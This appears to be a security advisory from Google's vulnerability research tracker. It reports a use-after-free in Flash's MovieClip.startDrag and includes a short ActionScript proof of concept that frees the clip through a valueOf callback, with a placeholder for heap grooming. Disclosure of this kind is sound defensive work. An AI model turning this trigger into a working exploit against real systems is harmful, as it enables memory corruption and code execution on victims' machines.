Source: https://code.google.com/p/google-security-research/issues/detail?id=592 There is a use-after-free in MovieClip.startDrag. If a parameter an object with valueOf defined, this method can free the MovieClip, which is then used. A minimal POC follows: this.createEmptyMovieClip("mc", 1); mc.startDrag( true, {valueOf : func}, 1, 2, 3, 4); function func(){ mc.removeMovieClip(); // Fix heap here return 1; } A sample fla and swf are attached.
